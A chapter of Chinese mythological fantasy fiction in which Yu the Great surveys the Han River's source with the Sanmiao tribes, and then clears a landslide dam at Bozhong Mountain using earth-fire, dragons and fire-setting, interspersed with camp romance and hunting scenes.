禹见气氛有所缓和,知道这是切入具体问题的关键时机。他目光扫过众首领,声音沉稳而清晰:“诸位苗牧的信任何其珍贵,禹与同僚必不负所托。然欲治水,必先知其源、明其性。连日来,我等观察汉水水势,又听闻各位所述水患情状,其暴烈肆虐,远超寻常。敢问诸位,据祖辈相传与诸位亲历,此次洪水,与往年相比,有何异常之处?” 阳华立刻回应,语气急促:“异常之处便是来得更快更猛!往日雨季,汉水也有涨落,但总有征兆。此次却是上游山洪仿佛凭空倾泻,我丹阳地处中游要冲,往往不及防备,堤岸便被冲垮,良田屋舍瞬间化为乌有!” 一直沉默倾听的梦羽,此刻也缓缓开口,她的声音带着泽国居民的深邃观察:“老身居于云梦之畔,观水数十年。此次汉水泛滥,其水色浑浊异常,携泥沙朽木远超以往,且下游水流虽急,却似被无形之力推搡,并非全然因上游来水。仿佛……仿佛中游乃至下游本身,亦有阻滞。” 伯益道:“汉水出于嶓冢之山,其源头称‘漾水’,本应清澈缓流,汇纳支流,方成浩荡之势。若源头漾水因山崩地裂而壅塞,蓄势猛然倾泻,则至中游水势必然暴涨。而中游若河道本身因山势或旧日堆积而狭窄,不堪承受,则洪水四溢。下游入泽处若水道不畅,则顶托上游来水,致使全线危急。” 禹点头,接过话头:“伯益所言,正是关键。洪水之患,往往非止一端。或是源头壅塞,或是中游河道浅狭,或是下游宣泄不及。汉水绵长,情况复杂,仅凭推测与旧说,难定良策。我等需即刻探明源头‘漾水’真实情状,查清其是否受阻,受阻于何处。同时,中游、下游之河道宽窄、水流缓急、泥沙淤积程度,亦需详加勘察,方能通盘考量,制定疏导之策。” 他目光转向伯魁,语气恳切:“伯魁牧,听闻黎火部有最熟悉汉水上游山林的猎人,能否请一位作为向导,引领我等前往嶓冢山,一探漾水之源?此乃解汉水之困的第一步,亦是至关重要的一步。” 伯魁沉吟片刻,回想起禹等人前日救助族人的情景,又环视其他首领——阳华、梦羽已表支持,符禺态度明确,连最难说服的石厉也未再强烈反对。他最终重重点头:“好!我黎火部最好的猎人‘岩鹰’,对通往嶓冢山漾水的路径了如指掌,更熟悉山中气候、兽径与潜在危险。明日便让他带领尔等前往源头勘察!” 禹肃然拱手:“多谢伯魁!既得向导,事不宜迟。汉水之情势,错综复杂,非贯通上下游而不能明悉。此番勘察,我将亲率主力,自源头‘漾水’起始,顺流而下,直至云梦大泽,做一次全程诊脉。” 他目光扫过自己的核心团队,部署清晰而具体:“岩鹰兄弟熟知山情水脉,此行全程,需仰仗你指引路径、辨识险阻。” 他对黎火部猎人点头致意,随后转向同伴: “羲青,你曾亲历汉水,对此地水脉必有印象。此行你需执掌星盘,确保我等方位无虞;更要凭你绘制《水经》时的经验,敏锐辨识眼前水道与旧时记忆的每一处变迁,为我等指引关键。” “伯益,沿途各族沟通、物产水文记录,以及你基于《九州舆图》绘制经验所见的山川走势关联,皆需倚重于你。” “砺,你此行须仔细察看山石质地、河道岸基,判断何处可开,何处需凿,为后续施工奠定根基。” “皋陶,与沿途部落的交涉协调,队伍内外的秩序,便劳你多费心。岳盾与众战士,护卫周全。” 最后,他看向所有苗牧,声音沉稳而笃定,既是承诺,也是宣告:“此治水之道,在于明其理、察其形。我等此行,并非凭空而来。我们携带着先父鲧毕生治水之心得《鲧工记》,以及我随其行走天下、并于其后十载间增补其上的诸多备注;更有羲青早年遍历山川,初绘天下水道而成的《水经》。此二者,乃我等认知天下水脉之根基!” 他略作停顿,让这番话的重量沉淀下去,目光扫过石厉、梦羽等面带犹疑者:“然而,典籍所载,终究是昨日之貌。今日汉水之患,必有今日之因。故而此行,非止于印证旧籍,更在于‘量’与‘验’。我们将从头走遍汉水,自漾水之源至云梦之泽,以双眼与双足,去丈量每一处河床,辨识每一处山势,标记每一处淤塞、狭窄与险阻。我们将以黎火部兄弟熟悉此地山情水脉的经验为指引,以丹阳部同胞饱受水患的切肤之痛为警醒,以云梦部对泽国水性的深邃洞察为镜鉴,更以黑石部监看之眼、乌林部血泪往事为鞭策,去求得一个真相!” 他的声音愈发激昂,带着不容置疑的决心:“待我们踏遍汉水全程,必将此行所见、所测、所思,巨细无遗,与诸位苗牧共享共议。届时,何处方需疏导,何处应当加固,何处必须绕行,皆将了然于胸!我们再共同定那‘因势利导,上下同治’的万全之策!务必使汉水源头通畅,中游安流,下游顺遂,让三苗之地,永绝此水患之忧!” 话音落下,议事厅内出现了短暂的寂静。 阳华率先打破沉默,他用力点头,眼中是前所未有的明亮:“便该如此!司空之法,听得明白,看得清楚!我丹阳部,翘首以盼!” 符禺老牧以手抚胸,那道旧疤仿佛也在微微发热,他嘶声道:“好……好啊,这才是真正做事的样子!老朽信了!” 梦羽深深地看着禹,仿佛要透过他的身躯,看清其后的灵魂。许久,她微微颔首,虽未言语,但那审慎的目光中,已透出了一丝认可的微光。 石厉紧锁的眉头仍未完全舒展,但紧绷的下颌线条缓和了些许,他哼了一声,算是默认:“既已答应,黑石部自不会食言。记住你们今日之言!” 伯魁将这一切看在眼里,心中最后一块石头终于落地。他站起身,声如洪钟:“既如此,议定!岩鹰,你即刻准备,明日拂晓,引领司空一行,前往漾水源头!” 禹的清晰思路和周密计划,进一步打消了部分首领的疑虑。阳华眼中希望更盛,梦羽微微颔首表示认可,连石厉紧绷的脸色也似乎缓和了些。 当夜,汉水北岸的营地篝火点点,与天际星河遥相呼应。禹独自立于主帅帐前,手指无意识地摩挲着胸前的白玉埙,那还是当年在黄河边初遇女娇时,她赠与的信物。记忆如汉水潮涌,将他带回十一年前的黄河畔—— 那时女娇才十七岁,蹲在河边采集水样,月白深衣被风轻轻拂动。当她抬头时,那双清亮的眸子就这样撞进了他心里。后来在涂山婚礼上,她身着赤色嫁衣,在篝火映照下娇羞的模样,至今仍历历在目。 “三次过门而不入……”禹喃喃自语,眼前仿佛又看见女娇抱着襁褓中的启儿,倚在阳城门边目送他远行的身影。第一次路过时,启儿还在腹中;第二次,孩子已能蹒跚学步;第三次……他甚至没敢靠近,只在远处望见女娇登城远眺的孤单身影。 最痛莫过于轘辕山。他至今仍能清晰地记起那个瞬间——当他从熊形恢复人身,回头看见的竟是女娇化作石像的模样。她永远定格在护住怀中启儿的姿态,脸上还带着惊惧与决绝。 “女娇……”禹的眼睛不觉已经湿润,“若我当时能早些告诉你……” 一阵清风拂过,金麟龙化作人形落在他身侧:“司空又在思念夫人了?” 禹望着远处山峦起伏的轮廓,眼神空茫,许久才低声道:“刻在心上的痕,岁月也难磨平。如何能不念……” 金麟龙若有所思:“我等龙族,于你们人族这般情意,既觉惊心动魄,又感……难以言喻的玄奥。” 他稍作停顿,仿佛触及了某个连自己也不甚明了的角落,声音低沉了些:“正如我……心头总牵挂着墨琛……只是司空,” 他话锋回转,龙族的清明理智重新占据主导,“只是司空,三苗诸部看似配合,实则各怀心思,伯魁的戒备、石厉的敌意,都需要时间化解。” “我明白。”禹收起玉埙,目光重新变得坚毅,“待平定洪水,我便回轘辕山陪着女娇,再亲自教导启儿。这些年来,他只在族人照顾下长大,我连一句‘父亲’都未曾听他唤过……” 夜色渐沉,营地各处篝火噼啪作响。 此时,羲青正在伯益堆放简牍陶片的营帐中,与他一同仔细校勘那些刻画着汉水水系的陶牌舆图。 岳盾掀开帐帘,带进一阵凉风:“伯益,急需你援手!手下通晓苗语的锐士不足五人,明日能否请你这通译大家,给他们讲讲苗语沟通的要诀?”他目光一转,看见伏案的羲青,咧嘴笑道:“地师,工正在帐外等着与你商议明日探勘的路线呢。” 羲青闻言,脸颊微热,迅速将手中陶片归位,向伯益点头示意后快步走出。 “没问题,辰时开始!”伯益爽快应承。 羲青步出伯益的营帐,微凉的夜风拂面。抬眼便见砺正坐在帐外一方平坦的青石上,借着跳跃的篝火光,专注地打磨擦拭着手中的石斧,刃口在火光下偶尔闪过一点微芒。她走近,安静地在他身旁坐下,肩膀自然而然挨着他的臂膀,温热的触感隔着麻布衣衫传来。 她的目光扫过他摊开的皮囊和工具,轻声道:“此次开山凿石的工具可都齐全?” 砺没有言语,只是将那把刚拭净的石斧递到她手中,粗糙的指腹在交接时不经意地滑过她的手腕内侧,留下一道暖而略痒的痕迹。“石斧都需重开锋刃,”他低沉的声音在火光里显得格外清晰,“这几把石锛也已磨损,得重新整备。” 说完,他才抬眼,目光沉沉地落在她脸上,带着一丝不易察觉的探寻,“今日与伯益对图,忙到这般时辰?” “嗯,”羲青垂眸,指尖无意识地摩挲着石斧冰凉的刃背,“自从凤鸟走了之后,他话少了许多,心思也重。” 砺喉间发出一声短促的叹息,像一块沉石投入夜色:“幸好……我们这些人,还都在一处。”短暂的沉默在两人之间流淌,只有篝火燃烧的噼啪声。他利落地将最后一把石斧收回皮囊,系紧带扣,动作干脆利落。收拾停当,他侧过头,声音压得极低,只够她一人听清:“今夜……去你那里?” 羲青没有立刻回答,只是微微侧身,将头更轻地倚靠在他坚实的肩头片刻,火光跳跃着,清晰地映出她悄然蔓延至耳根的淡淡红晕。她点了下头,声音轻若蚊蚋:“好。” 砺站起身来,向她伸出手。羲青自然而然地将自己的手放入他宽大的掌心,被他稳稳拉起。两人并肩,身影在摇曳的火光中渐渐融为模糊的一体,沉默地向营帐深处的黑暗走去,夜风缠绕着他们的衣袂,轻轻相触、摩挲。 此刻,营地东侧的粮草区却是一派热闹景象。赤须龙化作的红衣少年正麻利地帮百草分拣新采的野菜,手中动作快得带出残影:“看这菜多水灵!明日我再去南麓转转,准能找着更多好吃的根茎!” 百草仔细检查着野菜的成色,笑道:“你这找食的本事,倒是比飞猿还强些。” “那是自然!”赤须龙得意地扬起下巴,“我们龙族辨识草木的本事,可是与生俱来的!” 飞猿正好过来,将新编的蒲草鞋塞进百草手中,故意板着脸对赤须龙说:“找食的本事强有什么用?你会编草鞋吗?知道百草穿多大的鞋吗?” “我、我虽然不会编草鞋,但我能呼风唤雨!”赤须龙不服气地挺起胸膛,“要是天旱了,我还能给庄稼浇水呢!” 百草被两人逗得笑出声来,试着新草鞋在原地走了几步:“正好合脚。飞猿,你手艺越来越好了。” 飞猿顿时眉开眼笑,挑衅似的朝赤须龙扬了扬眉。赤须龙气鼓鼓地别过脸去,却又忍不住偷偷瞄向那双精巧的草鞋。 不远处的粮垛阴影里,仓实正沉默地整理着垒好的粮袋,眼角的余光却不由自主地追随着百草忙碌的背影。直到泽虎那厚实的手掌重重拍在他肩上:“喂,兄弟,莫再空望了。等咱们在三苗之地扎稳脚跟,让寨子里的老阿嬷给你寻个心灵手巧的三苗姑娘!” 次日一早,黎火部最好的猎人岩鹰就来到了平水土之师的营地。他约莫三十五六岁,身形精悍如蓄势的豹子,古铜色的脸上有一道被猛兽抓过的浅疤,眼神锐利得能穿透林间的迷障。他背上那张巨大的硬木弓和腰间沉甸甸的箭囊,无声宣告着他是这片山林的王者。 “司空,路险且长,跟紧了。”岩鹰的声音带着山民特有的粗粝,言简意赅,转身便踏上了西北方向的小径。禹一行人紧随其后,岳盾带着泽虎等数名岳卫锐士分散前后,警惕地护卫着队伍的核心。 越往西北深入,地势陡然攀升,原始山林的气息扑面而来。合抱粗的巨树遮天蔽日,脚下是厚厚的落叶,空气湿润而清新,但耳边传来的水声却愈发湍急暴烈。两岸泥土新鲜而深刻的冲刷痕迹,无言诉说着不久前洪水如何在此咆哮而过。 伯益目光如炬,不断扫视着周围。“司空请看,”他蹲下身,捻起一撮被水流带来的泥沙,“此地上层为常见黄土,下层却混杂了大量青黑色岩屑,质地坚硬,非本地所有,必是从上游极远处被洪水裹挟而来。”他又指向岸边一些倒伏却并未完全腐烂的树木,“这些树木并非被连根拔起,而是被高位积水的浮力推倒,说明上游并非仅仅是雨大,而是有阻塞形成堰塞,水位被强行抬高后瞬间泄洪所致。” 走在队伍中段的羲青,一手托着那面墨玉星盘,指尖在其光滑的表面上缓缓移动,感应着地脉与水灵的细微流动。星盘中心那点微光,如同呼吸般明灭不定。她在一处水流形成巨大回旋、不断冲刷岸基的地方停下,眉头紧蹙。“司空,”她唤住正与岩鹰确认路径的禹,指着星盘上那明显紊乱、甚至带着些许滞涩感的光点轨迹,“此地水脉灵机阻滞,循环不畅,上游……上游必有巨大壅塞。” 禹走到她身边,凝视着星盘,目光沉静。他抓起一把岸边的湿泥,在指间用力捻开,感受着其中粗砺的岩屑。“印证了伯益所见。”他沉声道,抬眼望向水声传来的幽深峡谷,“山岩壅塞是‘形’,地脉阻滞是‘神’。形神皆指向上游同一处病灶。我等必须亲眼见到它,方能知其究竟,对症下药。” 这番话,既肯定了伯益和羲青的发现,也将具体的现象提升到了治水的根本理念上。 岩鹰在一旁听着,忍不住多看了那墨玉星盘几眼,他对这些“夏人”的器物感到惊奇,但更让他信服的是这些人的观察与判断。“再往前,路更难走,”他开口道,打破了短暂的沉默,“野兽的踪迹也乱了,它们也在躲避那‘不祥之水’。” 砺则始终关注着工程的可能性。他时而用随身的青铜镐敲击裸露的岩壁,时而俯身查看河床的构成。“山势陡峭,若真如青儿所言,壅塞体巨大,搬运土石绝非易事。”他抹了把额头的汗,对禹说道,“需寻其薄弱之处,或以巧力破之。” 队伍在岩鹰的引领下,披荆斩棘,跋涉数日。沿途,他们越过数条因山洪暴发而改道的小溪,穿过被泥石流摧毁的林地,景象愈发荒凉。终于,在抵达嶓冢山主峰之下时,那祸患的根源,如同一个狰狞的伤疤,赤裸裸地呈现在他们面前。 景象令人心惊肉跳。仿佛有巨神挥舞兵刃,将山体硬生生劈开一道峡谷,却又任性般推来无数巨大的青黑色岩石,死死堵住了峡谷的出口。那些岩石棱角狰狞,相互挤压嵌合,形成一道近乎垂直的壁垒,只在最下方的缝隙间,有浑浊的涓涓细流不甘地渗出,发出呜咽般的水声。而在这道绝望的岩墙之上,是一个巨大的、水面泛着诡异幽光的堰塞湖。湖水幽深,漫溢的痕迹在高出目前水面数丈的岸壁上清晰可见,周边大片林木倒伏,泥泞不堪,一片末日般的狼藉。空气中弥漫着浓郁的水汽和泥土的腥味。 “就是这里了!”羲青的声音因激动而有些颤抖,她手中的星盘此刻光芒剧烈闪烁,直指那道岩墙,“此乃汉水正源‘漾水’被阻之地!这湖,便是被囚禁的汉水之魂!若能开凿此岩,导漾水依其本性东流,则上游水压可减,下游丹阳、云梦所受的洪峰之势,必能大为缓和!” 砺早已按捺不住,他几乎是扑到那青黑色的岩壁前,用指节叩击,侧耳倾听那沉闷的回响,又用青铜镐用力刮擦,溅起几点火星。“麻烦了,”他眉头紧锁,抓起一把刮下的岩粉在指间反复揉搓,“此岩坚硬异常,内含金属之精,寻常敲凿,怕是崩了镐头也难动分毫。”他站起身,拍了拍手上的粉尘,目光投向禹,“司空,常规之法无用。必须用‘火燎水激’之法,但此次,恐需些特别的助力。” 他所说的“特别助力”,便是指向那些由民夫们历尽千辛万苦、一路随行运来的数十瓮梅浆。砺解释道,声音在山谷间回荡:“此岩含铁,以大火连续烧灼岩体,待其炽热,再以梅浆泼之!浆中酸性能蚀铁石,使其内部酥软,结构变脆。而后,引冷水猛激!热胀冷缩,加之酸蚀,再坚硬的岩体,也必崩裂瓦解!” 禹凝视着那阻塞了汉水命脉的巨岩,又望向身后那片死寂而危险的堰塞湖,目光最终扫过身边每一位风尘仆仆却眼神坚定的同伴。他深吸一口气,沉静的语气中蕴含着不容置疑的力量:“根源已明,方法已定。接下来,便是说服三苗,汇聚力量,让这漾水,重见天日!” 勘探队带着确凿的证据和初步的方案返回大营后,整个平水土之师立刻如同精密的器械般高效运转起来。 核心僚属会议上,禹一锤定音,确定了“首开嶓冢,导漾东流”的汉水治理首要方略。而说服三苗各部、征调人力物力的重任,再次落在了禹和皋陶的肩上。他们带着从源头带回的青黑岩石样本、伯益绘制的精確水势图以及羲青标注的星盘异象记录,再次逐一拜访各部首领,展示水患的残酷根源,详细解释开凿嶓冢山的必要性与具体方案。 过程依旧充满艰难。石厉的质疑,其他小部的观望,对“惊扰山灵”的恐惧……阻力重重。但在黎火部基于对岩鹰汇报的信任而提供的有限支持下,在丹阳部阳华的急切推动下,尤其是在黑石部等强硬派看到那坚不可摧的岩石样本和听到“火燎水激”并非蛮干后保持的沉默下,征调部分苗民参与工程的事情,总算在激烈的争论和反复的权衡后,艰难地推动起来。治理汉水的宏大工程,在勘明根源后,终于撬开了第一道缝隙。 然而,管理这来自不同部落、语言习俗各异、且心存疑虑的民夫,成了巨大难题。冲突时有发生,中原民夫与苗民因工具使用、任务分配甚至一句口角都可能引发殴斗。 这一日,在新建的工棚区,几名夏部族民夫与几名苗民又因争抢一批新制的石斧而推搡起来,眼看就要演变成群斗。 “住手!”一声沉喝如惊雷炸响。皋陶在数名岳卫簇下大步走入人群中央,不怒自威。 “尔等可知,为何聚集于此?”皋陶目光如电,扫过双方,“非为私利,非为殴斗,乃为平水土,救苍生!汉水之下,溺毙者可有华夷之分?高岗之上,饥寒者可有部落之别?” 他命人将带头殴斗者缚于临时立起的木桩前,沉声道:“今立‘工正之律’!凡入此役者,无论来自何部,皆需遵从!一曰,听从号令,不得怠工;二曰,爱惜工具,不得私藏;三曰,和睦共处,不得殴斗;四曰,有功同赏,有过同罚!违者,依律惩处,绝不姑息!” 他亲自判决,将双方带头者皆施以鞭刑,并罚以最苦的劳役。但同时,他也宣布,将根据出力多寡,公平分配食物,并记录功劳,日后论功行赏,分与田土。律法森严,却亦公正,混乱的场面逐渐被控制下来。皋陶更从民夫中选拔明理者,协助管理,夏人与苗民皆有,渐渐使秩序走上正轨。 粮食问题,随着勘察日期的延长和聚集人力的增多,愈发显得沉重。弃,这位掌管后勤的能吏,眉头一日紧似一日。他清点着那日益缩小的粮储陶瓮,在记录用的木牍上刻下一道道代表削减配给的计算符号,精打细算地分配着每日的口粮,确保工程主力不至于断炊。 同时,他积极展开行动,带着盐、葛布和少量铜器,穿梭于那些对夏人态度较为友好的三苗小部落之间。“朋友,”弃的声音总是带着诚恳,“我们用这来自远方的盐,交换你们窖藏的薯蓣,可好?一罐盐,换三筐薯蓣。” 交易并非总是一帆风顺,但也确实换回了一些急需的根茎食物和零星禽蛋,暂解燃眉之急。 深知交易所得有限,弃也在积极探索非常之法。他寻来数个陶罐,小心翼翼地取出珍藏的祝余草种,以清水和希望浇灌。“此草虽苦涩难下咽,但食之可令人不饥,”他对协助管理的仓实解释道,“紧要时,或可救急。” 但这终究是权宜之计。尽管平水土之师已习惯以祝余草为食,民夫可不一定乐意。 “必须获得更多实实在在的食物,尤其是肉食。” 弃找到禹和伯益,语气凝重。伯益望向远处层林尽染的秋山,目光锐利:“此时正是秋狩良机,山中兽群为越冬正膘肥体壮。我可组织一支精干猎队,并……请那几位‘小友’相助。” 他意指的,正是平日化为人形、混在队伍中的那五条小龙。 狩猎计划迅速制定。由伯益亲自率领,岳盾选派了数名精锐岳卫,并邀请了黎火部、黑石部等一批经验丰富的苗人猎人加入。岩鹰虽需引领禹勘察,也推荐了族中好手。猎队出发当日,伯益立于林前,口中发出奇异的音节,与枝头的鸟儿、林间的走兽沟通,探寻着兽群的踪迹。苗人猎人见状,虽感惊奇,却也依循他的指引布设陷阱、追踪兽迹。 狩猎初期,收获颇丰,野雉、山兔乃至一头野猪,极大地鼓舞了士气。然而,当他们围住一群数量庞大的鹿群时,几头被惊扰的、形如赤豹、头生独角的凶猛“狰兽”突然从密林中扑出,形势瞬间危急,弓矢难伤其厚皮。 就在千钧一发之际,伯益对身后那五个一直沉默寡言的“随从”点了点头。只见那五人瞬间脱离人群,周身空气扭曲,平地掀起一阵狂风!在苗人猎人惊恐与骇然的目光中,五道光芒冲天而起,化为五条鳞甲熠熠、形态各异的小龙——或赤如烈火,或青若碧涛,或黑似玄冰——龙吟清越,直扑狰兽! 龙威之下,狰兽哀嚎逃窜,鹿群亦被震慑。小龙们并未肆意杀戮,而是驱赶着部分鹿群进入猎人预设的包围圈。 当猎队带着前所未有的丰盛猎物——数头肥硕的大鹿以及那几只被龙息震慑击毙的狰兽——返回营地时,整个营地都轰动了。苗人们再看向禹和他的团队时,眼神已从之前的疑虑、合作,变成了掺杂着深深敬畏的敬佩。能驱使神龙狩猎,这位司空,果然非同凡响! 与此同时,百草、辛夷、飞猿、山魈带着一群征调的三苗的采集小队活跃在水泽山林之间。百草的目光沉静如深潭,指尖掠过丛生的草茎,精准地捻起一株可食的嫩芽,或是辨认出一丛肥厚的根块。在她身旁,飞猿的身影总在林木或岩壁间灵活腾挪。峭壁上一串红艳艳的藟果被百草点出,他三两下便攀援而上,稳稳采下;树根旁发现一片新冒头的菌子,他喉间发出低低的呼哨提醒,百草便会立刻上前,俯身仔细审视,纤长的手指快速分开灰褐色的伞盖,留下饱满的无毒者,利落地剔除那些色彩妖异的毒蕈。 休憩时,辛夷挨着百草坐下,递过盛水的竹筒。她看着不远处正用石片刮削木矛的飞猿,又瞧瞧身边低头整理果蔬的百草,嘴角噙着一丝了然的笑意。“那猴崽子,”辛夷压低声音,用下巴点了点飞猿的方向,“眼珠子都快黏在你背篓上了。采个果子,倒像是给你摘星星呢。” 百草指尖捻着一株草茎的动作微微一滞,随即更快地分拣起篓中的藟果,仿佛没听懂辛夷话里的深意,只淡淡道:“林深藤密,他与山魈各司其职,看顾得周全些罢了。” 辛夷的笑意更深了。 另一边,山魈正大咧咧地拍着飞猿的肩膀,挤眉弄眼地学着他攀爬时的样子,粗声道:“喂,‘影子’,刚爬那块石壁,中间那块滑溜的苔藓,你是不是故意踩空,就为了让百草抬头看你那英雄救果子的架势?”他故意瞄了眼百草的方向,嘿嘿笑着,“那石头子儿揣怀里捂热乎了吧?啥时候送啊?” 飞猿握着木矛的手紧了紧,黝黑的脸上掠过一丝窘迫,瞪了山魈一眼,目光朝百草的方向看去。他们二人的心意已在艰险的相伴与无声的关怀中相通,只待一个安稳的时机,便定下终生之约。 开凿嶓冢山的工程,终于在秋末冬初、水位稍降的时节正式开始了。 工程启动前,一道敏捷的身影已带着数名助手,悄无声息地没入了嶓冢山麓的密林之中。他,正是来自东夷、通晓百族语与鸟兽之音的伯益。 “唳——咕——” 奇特的韵律从他口中发出,时而清越如鹰唳,时而低沉如兽鸣。山林间,鸟群惊起,盘旋着向更远的山峦飞去;走兽们也仿佛听懂了警告,纷纷携幼崽迁离这片即将成为焦土的区域。伯益目光锐利,审视着这片土地,他本擅长以精妙之火法辅助开凿,但此次,他深知不同——禹将动用的是更为本源和狂暴的地脉之火,人力之火在其面前,犹如萤火之于皓月。他的职责,是确保这方生灵免遭池鱼之殃,并以他对山川的独特理解,为后续疏导提供建议。 待鸟兽基本疏散完毕,伯益返回主营,向禹点头示意。禹心领神会,此刻方才真正开始。 有了积石山引动地火的经历,禹此次已是胸有成竹。他并未急于动手,而是先仰天长啸,那啸声如同约定好的信号。霎时间,五道矫健的龙影破开云层,在空中盘旋,结成玄妙的五行阵势,龙目炯炯,俯瞰着下方的岩壁。 “砺,各位勇士,”禹沉稳地对众人道,“地火之力,狂野难驯。积石山之鉴在前,今日我等以龙力为衡,共开此山!” 言毕,他方将神农石耜重重插入岩缝之中。意念沉入,与大地脉搏相接。石耜上的古老凿痕再次泛起暗红微光,地脉深处的磅礴热力被迅速引动。 “轰——!” 比在积石山时更为汹涌的地火巨蟒般窜出,带着积压万年的暴烈,直欲将整片山岩彻底熔化。其威势之盛,甚至让周遭的空气都为之燃烧、扭曲。然而,与上次不同的是,当地火的狂暴刚刚展露苗头,空中的五小龙便已应声而动。 它们没有等待地火失控,而是早有准备般,齐声发出清越的龙吟。五道性质各异的光芒——金的锋锐、木的生机、水的柔润、火的炽烈、土的厚重——从它们身上涌出,并非压制,而是编织成一张无形巨网,温和而坚定地笼罩在狂涌的地火之上。 地火在这张蕴含着天地至理的龙力网络约束下,虽依旧咆哮翻腾,其毁灭性的蔓延趋势却被巧妙导引,如同洪水被纳入新辟的河道,力量被集中、驯化,专注于灼烧需要开凿的核心岩体。 尽管如此,作为引导者的禹,依然承受着巨大的压力。地火的原始暴戾意志,顺着石耜如针如刺般反向冲击他的心神。他的双臂肌肉虬结,并非因为灼热的物理痛楚,而是在与一股蛮横的“大地怒火”抗衡。他的额角青筋隐现,识海之中仿佛有地火奔腾的幻象冲击,试图扰乱他的意志。但这都在他的预料和承受之内,他的眼神依旧清明,紧握石耜的双手稳如磐石。 砺看准时机,挥动令旗,怒吼道:“就是现在!烧火队,助燃!将火力集中于龙力约束之处!” 在地火与龙力构成的精妙平衡下,人力得以最有效地介入。松脂、桐实被投入,火焰在约束范围内燃烧得更为猛烈。原本需要数日之功的煅烧,在天地人三力协作下,竟于两个时辰内便将巨岩烧得均匀透彻,热力内蕴,却不损及周边山体分毫。 “泼梅浆!” “嗤——啦——!”青烟冲天,酸雾弥漫。 “再泼冷水!” “咔嚓!咔嚓!咔嚓——!” 在极热与极冷的猛烈交攻下,坚硬的花岗岩壁发出了不堪重负的呻吟,无数裂缝如蛛网般蔓延,整个岩体变得酥脆无比。 “就是现在!开——凿——!” 砺的怒吼如同惊雷,他第一个跃上滚烫的岩面,手中开山斧狠狠劈入一道最大的裂缝!在他身后,早已等待多时的数万民夫——无论是夏人还是三苗勇士——发出了震天的呐喊,如同决堤的洪水般涌向了那片濒临崩溃的岩壁。 真正的战役,此刻才属于人族! “哐!哐!哐!”沉重的石锤砸在裂缝节点,每一次撞击都让岩壁剧烈震颤。 “咔嚓!”锋利的青铜凿在缝隙中撬动,大块大块的岩石应声剥离。 “嘿——呦!”数十人合力扛起的巨木,如同攻城的冲车,反复撞击着摇摇欲坠的岩基。 耒耜、木棍,乃至双手,都成为了工具。人们呼喊着统一的号子,汗水在蒸腾的热气中挥洒,力量在共同的目標下汇聚。这一刻,没有夏苗之分,只有为生存而战的同胞。 “清理队,上!”砺的声音已经嘶哑,但指令依旧清晰。 另一队民夫蜂拥而上,用藤筐、用肩膀、用一切可用的工具,将崩落的巨石碎块迅速搬离,为水流开辟通道。叮叮当当的敲击声、吭哧吭哧的喘息声、号子声、岩石滚落声……汇成了一曲人族征服自然的雄浑交响。 在地火与龙力完成了那最关键的前奏后,是人族的汗水与力量,奏响了这工程最激昂的终章。在数万人不计生死的前赴后继下,那道被撕裂的缺口被迅速拓宽、加深,形成了一条坚实而顺畅的河道。 “通水了!” 不知是谁先喊了一声。 积蓄已久的堰塞湖水,发出了惊天动地的咆哮,沿着这条由神人协力开辟的新生河道,奔腾着、跳跃着,倾泻而下!清澈的漾水,第一次如此顺畅、如此自由地开始了它东去的旅程。 岸边上,无数人跪地泪流。苗民们以指蘸取清冽的源头之水,虔诚地点在额间火焰纹上。 禹站在水边,望向空中盘旋的龙影,望向那被彻底驯服的河道,最终,他的目光落在了那些疲惫却兴奋的民夫身上,落在了砺那满是烟尘却无比坚毅的脸上。 他穿过欢呼的人群,走到砺的身边。砺正拄着他的“千钧破”巨斧喘息,汗水与烟灰在他脸上混成了泥泛的沟壑,唯有那双眼睛,亮得惊人。 禹伸出手,轻轻拂去他额发上一块灼热的碎石屑。 “辛苦了,砺。”禹的声音蕴含着难以言喻的情感,“没有你统领万夫,协调全局,纵有地火龙力,也难成此功。这嶓冢山第一凿,是你劈开的。” 砺看着禹,刚毅的嘴角化开一个近乎憨厚的笑容,声音沙哑却畅快:“没有你引来地火,没有小龙们制衡力量,我这把斧头,劈到明年也只是留几道白痕。”他目光扫过奔腾的河水,语气低沉了些许,“司空,我只是……在做我们早就该做的事。若是鲧父能看到今日……” 他没有再说下去,但那双眼睛里充满了无需言说的复杂情感。 他看得到。”禹的手重重按在砺坚实的肩膀上,目光灼灼,“他一直都在看着。而这,仅仅是个开始。前方的路还长,砺,我的工正,我的兄弟,我需要你,如同需要这手中的石耜。” 砺没有回答,只是将手中的“千钧破”握得更紧,用力地点了点头。 就在这时,一道青色的身影穿过弥漫的水汽,快步来到他们身边。正是羲青。她手中紧握的墨玉星盘上,原本微微躁动、指示着地脉异常波动的光点已彻底平复,转而流淌着一种柔和稳定的辉光,与前方顺畅的河流韵律相合。她清丽的脸宠因激动而泛着红晕,沉静的眼眸中闪烁着难以抑制的水光。 “成功了……地脉稳定,水窍已通!”她的声音带着一丝颤抖,看看禹,又看向满脸烟尘的砺,最终目光落在奔腾的漾水上,“父亲星盘所载,嶓冢水窍郁结,为汉水之塞……今日,终于通了!” 她的话,不仅仅是对工程成功的确认,更是对他们三人共同信念的印证。她想起了父亲未竟的探索,想起了自己遍访巫祝、苦苦钻研的岁月,所有的努力,在这一刻都有了答案。 禹看向羲青,眼中是毫无保留的赞许与感激:“若无你地师察脉,精确标定开凿节点与地火引动之位,我等便是盲人扪烛。羲青,辛苦了。” 砺望向羲青,那双因奋力劈砍而布满血丝的眼睛里,瞬间充满了另一种光亮,那是骄傲,是心疼,更是历经磨难后终见曙光的释然。他朝她伸出手,摊开的掌心满是磨破的水泡和坚硬的老茧,却稳稳地停在那里。羲青没有丝毫犹豫,将自己的手放了上去,指尖微微冰凉,却带着无比坚定的力量。她腰间那支砺所赠的骨笛,在动作间轻轻晃动。 三人站在一起,禹在中间,一手按着砺的肩,目光与羲青交汇。水汽氤氲,映照着他们年轻却已承载太多的面孔。从少年时在鲧父麾下懵懂相助,到羽渊生离死别的悲恸,再到三年各自漂泊历练后的重逢,直至此刻并肩开创这破山通水之局。他们不再是无可奈何的旁观者,而是真正掌握力量、改变山河的同行者。 “嶓冢已开,”禹的声音沉静而有力,回荡在山水之间。 “前路同往!”砺与羲青异口同声,一如当年在舜廷之外的誓言。 这时,伯益从容走来,他的衣袂沾着林间的露水与草屑,脸上带着笑意。“东去的鸟群已在新栖地鸣叫,走兽的足迹亦避开了火路。禹,此地生灵,已感念你的仁德。”他望向奔腾而去的漾水,目光深邃,“而且,我观察水势,此河道初成,其性未定。下游百里处,有一片古河床形成的软泥洼地,若能稍加引导,令部分水流浸润其间,不仅可减缓洪峰初下的冲击,更可滋养出一片沃野,予苗民耕作之利。” 